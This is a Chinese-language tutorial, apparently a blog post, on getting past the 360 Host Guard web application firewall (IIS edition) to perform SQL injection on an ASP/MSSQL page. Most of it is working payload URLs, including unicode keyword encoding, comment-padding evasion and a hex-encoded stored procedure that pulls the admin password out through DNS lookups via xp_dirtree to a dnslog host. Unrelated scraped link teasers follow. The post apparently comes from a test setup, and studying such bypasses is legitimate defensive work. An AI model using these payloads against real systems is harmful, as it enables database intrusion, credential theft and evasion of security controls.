使用hex编码绕过主机卫士IIS版本继续注入
测试文件的源码如下:
我们先直接加上单引号试试:
http://192.168.0.20/conn.asp?id=1%27
很好,没有报错。那我们继续,and 1=1 和and 1=2,被拦截了。这个时候,我们可以看看到底是什么规则,发现每一个单独提交都不被拦截,组合到一起便被拦截了,好,那我们变通一下,用+代替空格
不再被拦截,Gogogo。
http://192.168.0.20/conn.asp?id=1+and+1=@@version看看当前数据库的版本
http://192.168.0.20/conn.asp?id=1+and+1=user 查看当前连接数据库的用户
http://192.168.0.20/conn.asp?id=1+and+1=db_name() 查看当前连接的数据库
但是,当我们想查看有多少数据库的时候,发现被拦截了。怎么办?绕!
http://192.168.0.20/conn.asp?id=1+and+(SELECT+top+1+Name+FROM+Master..SysDatabases)
但是怎么绕呢。。依次测试吧,从左至右,开始依次加sql注入的关键字,发现
下表仅显示被拦截项目
关键字 | and | select | top | name | from | master | . | ( | ) |
---|---|---|---|---|---|---|---|---|---|
and | X | ||||||||
select | X | ||||||||
Top | |||||||||
Name | |||||||||
from | |||||||||
master | |||||||||
. | |||||||||
( |
可以看出,两个关键字的时候,只拦截select,那么我们试试三个关键字(无select)的时候,主机卫士会拦截什么?发现什么都不拦截,只会报语法错误。。。
由此,我们得出一个结论,主机卫士一定会拦截select关键字,那么问题来了,他只拦截select吗?SeLeCt呢?经过不完全测试,发现当我们将select字符unicode编码后,不拦截
http://192.168.0.20/conn.asp?id=1+and+%u0073%u0065%u006c%u0065%u0063%u0074
但是,当我们尝试一次添加三个关键字的时候,主机卫士又拦截了(好累)。
http://192.168.0.20/conn.asp?id=1+and+(%u0073%u0065%u006c%u0065%u0063%u0074+top
那么我们来试试存储过程呢?
Mssql的存储过程定义如下:
Declare @s varchar(5000) //申明变量@s 类型为varchar(5000)
Set @ //给@s变量赋值
Exec(@s) //执行@s
那么,我们就需要试着在url中提交declare、set和exec,看看是否被拦截。
很好,没有被拦截,只是提示语法错误,那就证明我们可以利用存储过程去绕过主机卫士!
我写了一个存储过程,内容如下(红色字体是需要另外修改的):
declare @s varchar(5000),@host varchar(5000)
set @s=(select password from waf_test.dbo.admin where username=’admin’)
set@host=CONVERT(varchar(5000),@s)+’.xxxx.ceye.io’;EXEC(‘master..xp_dirtre
e”\\’+@host+’\foobar$”‘)
我将这个存储过程转化成16进制(hex)
0x6465636c61726520407320766172636861722835303030292c40686f73742076617263686172283530303029207365742040733d2873656c6563742070617373776f72642066726f6d207761665f746573742e64626f2e61646d696e20776865726520757365726e616d653d2761646d696e2729207365742040686f73743d434f4e5645525428766172636861722835303030292c4073292b272e787878782e636579652e696f273b4558454328276d61737465722e2e78705f6469727472656520225c5c272b40686f73742b275c666f6f62617224222729
所以最终我们的请求是:
http://192.168.0.124/conn.asp?id=1;declare+@h+varchar(5000)+set+@h=0x6465636c61726520407320766172636861722835303030292c40686f73742076617263686172283530303029207365742040733d2873656c6563742070617373776f72642066726f6d207761665f746573742e64626f2e61646d696e20776865726520757365726e616d653d2761646d696e2729207365742040686f73743d434f4e5645525428766172636861722835303030292c4073292b272e787878782e636579652e696f273b4558454328276d61737465722e2e78705f6469727472656520225c5c272b40686f73742b275c666f6f62617224222729+exec(@h)
登陆dnslog,可以看到接收到了123456的子域名请求,这里的123456便是我在mssql数据库中admin账户的密码。
当然有了方法一就自然会有方法二,不妨开一下我们的脑洞。既然主机卫士我们可以利用超长的文件名去绕过上传(类似于二进制的溢出),那我们在这里是不是也可以通过提交超长的url去绕过他的get检查呢?想到就去做。
实验过程:
Mssql有注释语句,无论多长都不会影响到语句的执行,那么,我们试试
在select前面添加一个注释,内容非常多的1
咦,这是什么鬼???
会不会是主机卫士找到关键字后,在一定的位数之内找其他关键字,如果有便返回999,如果没有就继续执行呢?那我试试用注释把select孤立起来。
发现bypass,很开心哦。
使用hex编码绕过主机卫士IIS版本继续注入的更多相关文章
- IIS中报错弹出调试,系统日志-错误应用程序名称: w3wp.exe,版本: 8.5.9600.16384,时间戳: 0x5215df96(360主机卫士)
偶遇一次特殊情况,在使用Web系统导入数据模版(excel)时,服务端IIS会报错并弹出调试框,然后整个网站都处于卡死的debug状态,如果点否不进行调试,则IIS会中断调试,Web系统继续执行,运行 ...
- Bypass 360主机卫士SQL注入防御(多姿势)
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
- 15. Bypass 360主机卫士SQL注入防御(多姿势)
在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影. 从半年前的测试虚拟机里面,翻出了 360 主机卫士 Apache 版的 ...
- Bypass 360主机卫士SQL注入防御(附tamper脚本)
0x01 前言 在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势. 0x02 环境搭建 Windows Server 200 ...
- Hex编码
编码原理 Hex编码就是把一个8位的字节数据用两个十六进制数展示出来,编码时,将8位二进制码重新分组成两个4位的字节,其中一个字节的低4位是原字节的高四位,另一个字节的低4位是原数据的低4位,高4位都 ...
- Hex编码字节
1.将字节数组转换为字符串 /** * 将字节数组转换为字符串 * 一个字节会形成两个字符,最终长度是原始数据的2倍 * @param data * @return */ public static ...
- 浅谈Hex编码算法
一.什么是Hex 将每一个字节表示的十六进制表示的内容,用字符串来显示. 二.作用 将不可见的,复杂的字节数组数据,转换为可显示的字符串数据 类似于Base64编码算法 区别:Base64将三个字节转 ...
- 普通字符串与Hex编码字符串之间转换
import java.io.UnsupportedEncodingException; import org.apache.commons.codec.binary.Hex; public clas ...
- .Net获取iis版本
有以下办法获取iis版本. DirectoryEntry getEntity = new DirectoryEntry("IIS://localhost/W3SVC/INFO"); ...
随机推荐
- 2018年上半年UI领域主要的13个设计趋势
2018年时间过半,通过过去的6个月的观察,其实我们已经可以对于2018年的整个UI领域的设计趋势有了一个更为清晰的判断. 也是推出这篇文章比较合理的时机.下面我们就一起来回顾一下,过去的半年当中,U ...
- winsock select 学习代码(1)
// SelectCli.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <winsock2.h> #incl ...
- 2018.10.05 NOIP模拟 相遇(dfs序+lca)
传送门 考虑到两条路径相交的条件: 设两条路径为a,ba,ba,b. 则要么aaa路径的lcalcalca在bbb上. 要么bbb路径的lcalcalca在aaa上. 因此我们维护两棵树. 分别支持路 ...
- 2018.09.23 bzoj1076: [SCOI2008]奖励关(期望+状压dp)
传送门 一道神奇的期望状压dp. 用f[i][j]f[i][j]f[i][j]表示目前在第i轮已选取物品状态为j,从现在到第k轮能得到的最大贡献. 如果我们从前向后推有可能会遇到不合法的情况. 所以我 ...
- 2018.08.09洛谷P3959 宝藏(随机化贪心)
传送门 回想起了自己赛场上乱搜的20分. 好吧现在也就是写了一个随机化贪心就水过去了,不得不说随机化贪心大法好. 代码: #include<bits/stdc++.h> using nam ...
- 着重基础之—Spring Boot 编写自己的过滤器
Spring Boot 编写自己的"过滤器" 又好久没有写博客进行总结了,说实话,就是 "懒",懒得总结,懒得动.之所以写这篇博客,是因为最近对接公司SSO服务的时候,需要自定义拦 ...
- 双击tr获取td
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- Shell 基本语法
一. Linux基本命令 1.1. cp命令 该命令的功能是将给出的文件或目录拷贝到另一文件或目录中,功能十分强大. 语法: cp [选项] 源文件或目录 目标文件或目录 1.2. mv命令 用户可 ...
- java中的实例化
java中的new用于实例化一个对象 T1 a= new T1(); T2 b= new T1(); 区别: 问题1:不是实例化一个a,是实例化一个T1 T1 的一个 对象的引用 a 指向了堆空间里的 ...
- DIV+CSS实战(二)
一.说明 在DIV+CSS实战(一)中,已经把框架搭建起来了,现在就需要往框架里面添加内容了.需要实现的内容如下图: 二.头部的设计(全媒体订阅) 左侧是一张图片+标题 ,右侧是登录名 和上次登录的时 ...